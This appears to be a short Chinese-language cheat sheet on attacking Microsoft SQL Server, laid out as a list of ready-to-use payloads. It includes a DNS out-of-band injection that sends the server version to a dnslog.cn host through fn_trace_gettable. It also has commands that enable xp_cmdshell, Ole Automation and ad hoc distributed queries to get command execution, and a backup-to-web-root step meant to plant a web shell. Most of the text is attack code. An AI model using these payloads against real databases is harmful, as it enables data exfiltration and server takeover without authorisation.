攻击数据库之Mssql
SQLI
DNS带外
1 | select * into temp_trc from fn_trace_gettable('\\'+(select @@version())+'.xxx.dnslog.cn\1.trc',default); |
GETSHELL
xp_cmdshell
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |

sp_oacreate
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE; |

openrowset
1 | exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure |
其他执行命令
上面几个操作实战就差不多了,另外还有的操作可以参看这篇文章
差异备份文件getshell
执行命令的操作均需要管理员权限,但是备份数据库的操作dbo权限也可以尝试下
1 | backup database users to disk='D:\phpstudy_pro\WWW\a.bak'; |

Reference
https://xz.aliyun.com/t/7534
https://forum.90sec.com/t/topic/1113